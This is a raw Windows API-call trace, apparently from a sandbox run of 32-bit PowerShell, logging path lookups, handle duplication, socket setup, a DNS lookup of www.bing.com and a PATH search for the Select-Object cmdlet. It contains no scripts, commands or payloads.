0x5cea8b0 [0128.903] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5cea8b0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0128.904] CoTaskMemFree (pv=0x5cea8b0) [0128.904] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0128.904] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0128.904] GetCurrentProcess () returned 0xffffffff [0128.904] GetCurrentProcess () returned 0xffffffff [0128.904] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x528, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59fe28c, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59fe28c*=0x524) returned 1 [0128.905] CloseHandle (hObject=0x528) returned 1 [0128.905] CloseHandle (hObject=0x524) returned 1 [0128.905] GetCurrentProcess () returned 0xffffffff [0128.905] GetCurrentProcess () returned 0xffffffff [0128.905] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x524, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59fe28c, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59fe28c*=0x528) returned 1 [0128.906] CloseHandle (hObject=0x524) returned 1 [0128.906] CloseHandle (hObject=0x528) returned 1 [0128.986] GetCurrentProcess () returned 0xffffffff [0128.986] GetCurrentProcess () returned 0xffffffff [0128.986] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x528, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59fe140, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59fe140*=0x524) returned 1 [0128.986] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x59fe170 | out: lpFileInformation=0x59fe170*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0128.987] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0128.987] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x41, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0128.987] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x59fe178 | out: lpFileInformation=0x59fe178*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0128.987] CloseHandle (hObject=0x528) returned 1 [0128.987] CloseHandle (hObject=0x524) returned 1 [0128.988] GetCurrentProcess () returned 0xffffffff [0128.988] GetCurrentProcess () returned 0xffffffff [0128.988] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x524, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59fe28c, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59fe28c*=0x528) returned 1 [0128.988] CloseHandle (hObject=0x524) returned 1 [0128.988] CloseHandle (hObject=0x528) returned 1 [0128.989] GetCurrentProcess () returned 0xffffffff [0128.989] GetCurrentProcess () returned 0xffffffff [0128.990] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x528, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59fe28c, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59fe28c*=0x524) returned 1 [0128.990] CloseHandle (hObject=0x528) returned 1 [0128.990] CloseHandle (hObject=0x524) returned 1 [0128.999] GetCurrentProcess () returned 0xffffffff [0128.999] GetCurrentProcess () returned 0xffffffff [0128.999] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x524, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59fe0a4, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59fe0a4*=0x528) returned 1 [0129.019] CloseHandle (hObject=0x524) returned 1 [0129.019] CloseHandle (hObject=0x528) returned 1 [0129.019] GetCurrentProcess () returned 0xffffffff [0129.019] GetCurrentProcess () returned 0xffffffff [0129.019] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x528, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59fe0bc, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59fe0bc*=0x524) returned 1 [0129.020] CloseHandle (hObject=0x528) returned 1 [0129.021] CloseHandle (hObject=0x524) returned 1 [0129.128] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x59fe2d0 | out: lpWSAData=0x59fe2d0) returned 0 [0129.135] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x540 [0129.509] setsockopt (s=0x540, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0129.509] closesocket (s=0x540) returned 0 [0129.509] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x540 [0129.607] setsockopt (s=0x540, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0129.607] closesocket (s=0x540) returned 0 [0129.610] GetCurrentProcess () returned 0xffffffff [0129.610] GetCurrentProcess () returned 0xffffffff [0129.610] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x540, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59fe098, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59fe098*=0x544) returned 1 [0129.615] CloseHandle (hObject=0x540) returned 1 [0129.615] CloseHandle (hObject=0x544) returned 1 [0129.616] GetCurrentProcess () returned 0xffffffff [0129.616] GetCurrentProcess () returned 0xffffffff [0129.616] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x544, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x59fe0b0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x59fe0b0*=0x540) returned 1 [0129.616] CloseHandle (hObject=0x544) returned 1 [0129.616] CloseHandle (hObject=0x540) returned 1 [0129.877] GetAddrInfoW (in: pNodeName="www.bing.com", pServiceName=0x0, pHints=0x59fe4b8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59fe460 | out: ppResult=0x59fe460*=0x5ceb058*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cf6908*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5ceb3a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cf6b00*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) returned 0 [0130.571] FreeAddrInfoW (pAddrInfo=0x5ceb058*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cf6908*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5ceb3a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cf6b00*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) [0130.618] CoCreateGuid (in: pguid=0x59fe578 | out: pguid=0x59fe578*(Data1=0x696a245, Data2=0x8abb, Data3=0x4bec, Data4=([0]=0x9c, [1]=0xb5, [2]=0x47, [3]=0x21, [4]=0x67, [5]=0x47, [6]=0xdf, [7]=0x10))) returned 0x0 [0130.618] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0130.869] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0130.869] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x59fe120, nSize=0x80 | out: lpBuffer="") returned 0xbe [0130.869] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x59fe0a4, nSize=0xbe | out: lpBuffer="") returned 0xbd [0130.869] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x59fe090, nSize=0xbe | out: lpBuffer="") returned 0x3a [0130.870] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x757940 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0130.870] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x59fe098, nSize=0xbe | out: lpBuffer="") returned 0x3a [0130.870] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0130.871] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0130.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf8c) returned 1 [0130.871] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x59fe250 | out: lpFileInformation=0x59fe250*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0130.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf88) returned 1 [0130.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0130.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0130.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf8c) returned 1 [0130.872] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x59fe250 | out: lpFileInformation=0x59fe250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0130.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf88) returned 1 [0130.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe248) returned 1 [0130.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0130.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0130.872] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Select-Object.*", lpFindFileData=0x59fdff8 | out: lpFindFileData=0x59fdff8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdfa0) returned 1 [0130.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe200) returned 1 [0130.873] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0130.873] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0130.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf8c) returned 1 [0130.873] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x59fe250 | out: lpFileInformation=0x59fe250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0130.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf88) returned 1 [0130.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe248) returned 1 [0130.873] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0130.874] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0130.874] FindFirstFileW (in: lpFileName="C:\\Windows\\Select-Object.*", lpFindFileData=0x59fdff8 | out: lpFindFileData=0x59fdff8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdfa0) returned 1 [0130.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe200) returned 1 [0130.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0130.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0130.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf8c) returned 1 [0130.874] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x59fe250 | out: lpFileInformation=0x59fe250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0130.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf88) returned 1 [0130.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe248) returned 1 [0130.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0130.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0130.875] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Select-Object.*", lpFindFileData=0x59fdff8 | out: lpFindFileData=0x59fdff8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdfa0) returned 1 [0130.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe200) returned 1 [0130.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0130.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0130.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf8c) returned 1 [0130.875] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x59fe250 | out: lpFileInformation=0x59fe250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0130.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf88) returned 1 [0130.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe248) returned 1 [0130.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0130.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0130.876] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Select-Object.*", lpFindFileData=0x59fdff8 | out: lpFindFileData=0x59fdff8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdfa0) returned 1 [0130.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe200) returned 1 [0130.876] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe130, nSize=0xbe | out: lpBuffer="") returned 0x0 [0130.877] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x59fe04c, nSize=0xbe | out: lpBuffer="") returned 0xbd [0130.877] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x59fe038, nSize=0xbe | out: lpBuffer="") returned 0x3a [0130.877] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x757940 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0130.877] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x59fe040, nSize=0xbe | out: lpBuffer="") returned 0x3a [0130.877] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0130.877] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0130.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf34) returned 1 [0130.878] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x59fe1f8 | out: lpFileInformation=0x59fe1f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0130.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf30) returned 1 [0130.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0130.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0130.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf34) returned 1 [0130.878] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x59fe1f8 | out: lpFileInformation=0x59fe1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0130.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf30) returned 1 [0130.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe1f0) returned 1 [0130.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0130.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0130.878] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Select-Object.*", lpFindFileData=0x59fdfa0 | out: lpFindFileData=0x59fdfa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf48) returned 1 [0130.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe1a8) returned 1 [0130.879] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0130.879] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0130.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf34) returned 1 [0130.879] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x59fe1f8 | out: lpFileInformation=0x59fe1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0130.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf30) returned 1 [0130.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe1f0) returned 1 [0130.879] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0130.879] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0130.879] FindFirstFileW (in: lpFileName="C:\\Windows\\Select-Object.*", lpFindFileData=0x59fdfa0 | out: lpFindFileData=0x59fdfa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf48) returned 1 [0130.880] 